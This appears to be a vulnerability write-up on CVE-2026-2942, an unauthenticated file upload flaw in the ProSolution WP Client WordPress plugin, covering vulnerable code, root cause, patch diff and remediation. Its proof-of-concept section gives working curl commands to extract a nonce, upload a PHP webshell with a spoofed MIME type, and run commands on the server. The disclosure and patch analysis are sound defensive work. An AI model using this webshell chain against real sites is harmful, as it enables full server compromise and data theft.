CVE-2026-2942: Arbitrary File Upload in ProSolution WP Client

CVE-2026-2942: Arbitrary File Upload in ProSolution WP Client

CVE-2026-2942 is a CVSS 9.8 Critical unauthenticated arbitrary file upload vulnerability in the ProSolution WP Client WordPress plugin. It allows any unauthenticated attacker to upload arbitrary files — including PHP webshells — directly to the server, potentially achieving full Remote Code Execution (RCE).

Vulnerability Summary

FieldValue
Plugin NameProSolution WP Client
Plugin Slugprosolution-wp-client
CVE IDCVE-2026-2942
CVSS Score9.8 (Critical)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeUnrestricted Upload of File with Dangerous Type (CWE-434)
Affected Versions<= 1.9.9
Patched Version2.0.0
PublishedApril 8, 2026
ResearcherNabil Irawan - Heroes Cyber Security
Wordfence AdvisoryLink

Description

The ProSolution WP Client plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the proSol_fileUploadProcess function in all versions up to, and including, 1.9.9. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site’s server which may make remote code execution possible.


Technical Analysis

The attack chain flows through four components.

1. AJAX Handler Registered for Unauthenticated Users — includes/class-prosolwpclient.php (lines 253–254)

$this->loader->proSol_add_action( 'wp_ajax_proSol_fileUploadProcess', $plugin_public, 'proSol_fileUploadProcess' );
$this->loader->proSol_add_action( 'wp_ajax_nopriv_proSol_fileUploadProcess', $plugin_public, 'proSol_fileUploadProcess' );

The wp_ajax_nopriv_ hook registers the handler for unauthenticated (not-logged-in) users. Any visitor can trigger this endpoint at POST /wp-admin/admin-ajax.php?action=proSol_fileUploadProcess.


2. Nonce Exposed on Public Page — public/class-prosolwpclient-public.php (lines 2199–2292)

$translation_array = array(
    'ajaxurl' => admin_url( 'admin-ajax.php' ),
    'nonce'   => wp_create_nonce( 'prosolwpclient' ),
    // ...
);
wp_localize_script( 'prosolwpclient-public', 'prosolObj', $translation_array );

When any WordPress page containing the [prosolfrontend] shortcode is loaded, the nonce is embedded in the page source as prosolObj.nonce. An unauthenticated attacker reads it from view-source: or browser DevTools — the nonce provides zero security here.


3. Client-Supplied MIME Type Used for File Validation — public/class-prosolwpclient-public.php (lines 993–1034)

This is the core vulnerability. The function reads the file’s MIME type from $_FILES["files"]["type"][0]:

public function proSol_fileUploadProcess() {
    check_ajax_referer( 'prosolwpclient', 'security' );   // nonce only — no auth check

    $dir_info    = $this->proSol_checkUploadDir();
    $submit_data = $_FILES["files"];
    $mime_type   = isset( $submit_data['type'] ) ? $submit_data['type'][0] : '';  // ← ATTACKER CONTROLLED
    $ext         = proSol_mimeExt($mime_type);                                    // ← maps MIME → extension

    if ( in_array( $ext, proSol_imageExtArr() ) || in_array( $ext, proSol_documentExtArr() ) ) {
        // ... file is passed to UploadHandler and saved
    }
}

$_FILES["files"]["type"][0] is the Content-Type value sent by the HTTP client in the multipart request — it is never verified by the server. An attacker sends Content-Type: image/jpeg for a PHP webshell, causing proSol_mimeExt('image/jpeg') to return 'jpg', which passes the allowlist check in proSol_imageExtArr(). The actual file content is never inspected.

Additionally, the bundled CBXProSolWpClient_UploadHandler (a fork of blueimp jQuery File Upload) has accept_file_types set to /.+$/i — it accepts every file without restriction, delegating all responsibility to the calling code.


4. PHP Extension Preserved in Final Filename — lines 1019–1024

After the UploadHandler saves the file under its original name, the code extracts the extension from the saved filename:

$attached_file_name = $response_obj->name;
$extension          = pathinfo( $attached_file_name, PATHINFO_EXTENSION );  // ← reads .php
$newfilename        = wp_create_nonce( session_id() . time() ) . '.' . $extension;  // ← saves as <hash>.php
rename( $dir_info['prosol_base_dir'] . $attached_file_name, $dir_info['prosol_base_dir'] . $newfilename );

If the attacker uploads shell.php, the saved file is renamed to <hash>.php. The .php extension is preserved. The upload directory wp-content/uploads/prosolwpclient/ has no .htaccess to block PHP execution, so the file is immediately accessible and executable.


Root Cause

The root cause is twofold:

  1. Client-controlled MIME type used for validation: $_FILES["files"]["type"][0] is set by the HTTP client — not derived from file content. An attacker trivially spoofs it to any allowed MIME type (image/jpeg, application/pdf) while the actual file is a PHP script.

  2. No extension-based server-side validation: The code never checks the file’s actual extension before uploading. The only post-upload extension read (pathinfo($attached_file_name, PATHINFO_EXTENSION)) is used to construct the final filename, preserving any dangerous extension.


Why Existing Controls Failed

ControlWhy it failed
Nonce check (check_ajax_referer)The nonce prosolwpclient is generated and embedded in every page using the [prosolfrontend] shortcode via wp_localize_script. Any unauthenticated visitor can extract it from the page source. It prevents CSRF, not unauthorized access.
MIME-type allowlistThe allowlist is evaluated against $_FILES["files"]["type"][0], which is an HTTP header value fully controlled by the attacker. The server never reads the actual file bytes to determine the real MIME type.
UploadHandlerConfigured with accept_file_types = /.+$/i — accepts every file type without restriction.

Attack Impact

An unauthenticated attacker can:

  1. Upload a PHP webshell or backdoor to wp-content/uploads/prosolwpclient/
  2. Access the uploaded file directly via its public URL
  3. Execute arbitrary PHP code on the server with the web server’s privileges
  4. Achieve full Remote Code Execution (RCE)
  5. Escalate to full site compromise: steal credentials, install persistent backdoors, pivot to the database, and deface the site

Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only. Only use against systems you own or have explicit written authorization to test.

Prerequisites


Step 1: Extract the Nonce from the Public Page

Visit any WordPress page containing the [prosolfrontend] shortcode and extract the nonce from prosolObj.nonce in the page source:

TARGET="https://target.example.com"

# Fetch the page and extract the nonce from the JS object
NONCE=$(curl -s "$TARGET/jobs" \
  | grep -oP '"nonce"\s*:\s*"\K[^"]+')

echo "Extracted nonce: $NONCE"

What to look for in the page source:

<script id='prosolwpclient-public-js-extra'>
var prosolObj = {
    "ajaxurl": "https://target.example.com/wp-admin/admin-ajax.php",
    "nonce": "a1b2c3d4e5",
    ...
};
</script>

Step 2: Create the PHP Webshell

echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php

Step 3: Upload the Webshell with a Spoofed MIME Type

The critical bypass: set the file’s Content-Type to image/jpeg while the actual content is PHP.

curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -F "action=proSol_fileUploadProcess" \
  -F "security=$NONCE" \
  -F "files[]=@/tmp/shell.php;type=image/jpeg" \
  | python3 -m json.tool

Expected response:

{
  "files": [
    {
      "name": "shell.php",
      "size": 31,
      "url": "https://target.example.com/wp-content/uploads/prosolwpclient/shell.php",
      "newfilename": "a3f8b2c1d9e4f7g2.php",
      "rename_status": true,
      "extension": "php"
    }
  ]
}

The "extension": "php" and "rename_status": true confirm the .php file was saved successfully.


Step 4: Trigger Remote Code Execution

SHELL_FILE="a3f8b2c1d9e4f7g2.php"   # Use the actual newfilename from Step 3

curl -s "$TARGET/wp-content/uploads/prosolwpclient/$SHELL_FILE?cmd=id"

Expected output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Unauthenticated RCE achieved.


Patch Analysis

What Changed

Only one source file was modified in the security fix: public/class-prosolwpclient-public.php

Fix Explanation

The patch replaces the flawed client-supplied MIME type check with a comprehensive, multi-layer server-side validation chain:

1. Extension extracted from the actual filename (not Content-Type):

$org_filename = sanitize_file_name( $submit_data['name'][0] );
$up_fileext   = strtolower( pathinfo( $org_filename, PATHINFO_EXTENSION ) );

2. Strict extension whitelist (8 safe types only):

$whitelist_ext = array( 'jpg', 'jpeg', 'png', 'gif', 'webp', 'pdf', 'doc', 'docx' );
if ( ! in_array( $up_fileext, $whitelist_ext, true ) ) {
    die(__("File type not allowed", "prosolwpclient"));
}

3. Real MIME type read from file content using finfo:

$finfoObj  = new finfo( FILEINFO_MIME_TYPE );
$true_mime = $finfoObj->file( $tmp_fileloc );   // server-side, reads actual file bytes

4. WordPress-level file type check:

$wp_mime_chk = wp_check_filetype( $org_filename );
if ( $wp_mime_chk['type'] == false ) {
    die(__("File type is not allowed.", "prosolwpclient"));
}

5. Cross-validation: real MIME must match extension-expected MIME:

$whitelist_mimes = array(
    'jpg'  => 'image/jpeg',
    'jpeg' => 'image/jpeg',
    'png'  => 'image/png',
    'gif'  => 'image/gif',
    'webp' => 'image/webp',
    'pdf'  => 'application/pdf',
    'doc'  => 'application/msword',
    'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
);
if ( ! isset( $whitelist_mimes[ $up_fileext ] ) || $true_mime !== $whitelist_mimes[ $up_fileext ] ) {
    die(__("File content does not match its extension", "prosolwpclient"));
}

6. Image dimension verification for image uploads:

$img_dimension = @getimagesize( $tmp_fileloc );
if ( $img_dimension === false ) {
    die(__("Invalid image dimension", "prosolwpclient"));
}

7. Final post-upload extension re-check:

$fin_ext = strtolower( pathinfo( $attached_file_name, PATHINFO_EXTENSION ) );
if ( ! in_array( $fin_ext, $whitelist_ext, true ) ) {
    die(__("File type mismatch after upload", "prosolwpclient"));
}

The attacker can no longer bypass validation by spoofing the Content-Type header — the server now reads the real MIME type from the actual file bytes using PHP’s finfo extension. The strict 8-extension whitelist also eliminates the overly broad proSol_documentExtArr() which contained dozens of unnecessary types.

Code Diff (Key Changes)

-         $submit_data  = $_FILES["files"];
-         $mime_type   = isset( $submit_data['type'] ) ? $submit_data['type'][0] : '';
-         $ext = proSol_mimeExt($mime_type);
-
-         if ( in_array( $ext, proSol_imageExtArr() ) || in_array( $ext, proSol_documentExtArr() ) ) {
+         $org_filename = sanitize_file_name( $submit_data['name'][0] );
+         $tmp_fileloc  = $submit_data['tmp_name'][0];
+         $up_fileext   = strtolower( pathinfo( $org_filename, PATHINFO_EXTENSION ) );
+         $whitelist_ext = array( 'jpg', 'jpeg', 'png', 'gif', 'webp', 'pdf', 'doc', 'docx' );
+         if ( ! in_array( $up_fileext, $whitelist_ext, true ) ) {
+             die(__("File type not allowed", "prosolwpclient"));
+         }
+         $finfoObj  = new finfo( FILEINFO_MIME_TYPE );
+         $true_mime = $finfoObj->file( $tmp_fileloc );
+         $whitelist_mimes = array( 'jpg' => 'image/jpeg', /* ... */ );
+         if ( ! isset( $whitelist_mimes[ $up_fileext ] ) || $true_mime !== $whitelist_mimes[ $up_fileext ] ) {
+             die(__("File content does not match its extension", "prosolwpclient"));
+         }

Timeline

DateEvent
April 8, 2026Publicly disclosed by Wordfence
April 8, 2026Patched version 2.0.0 released

Remediation

Update the prosolution-wp-client plugin to version 2.0.0 or later immediately.

As additional defense-in-depth (even after patching), add an .htaccess to block PHP execution in the upload directory:

# wp-content/uploads/prosolwpclient/.htaccess
<Files "*.php">
    Deny from all
</Files>

References

  1. Wordfence Advisory
  2. Vulnerable source — class-prosolwpclient-public.php L993 (rev 3331282)
  3. Patch changeset 3484577
  4. CVE-2026-2942 on cve.org
  5. CWE-434: Unrestricted Upload of File with Dangerous Type

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee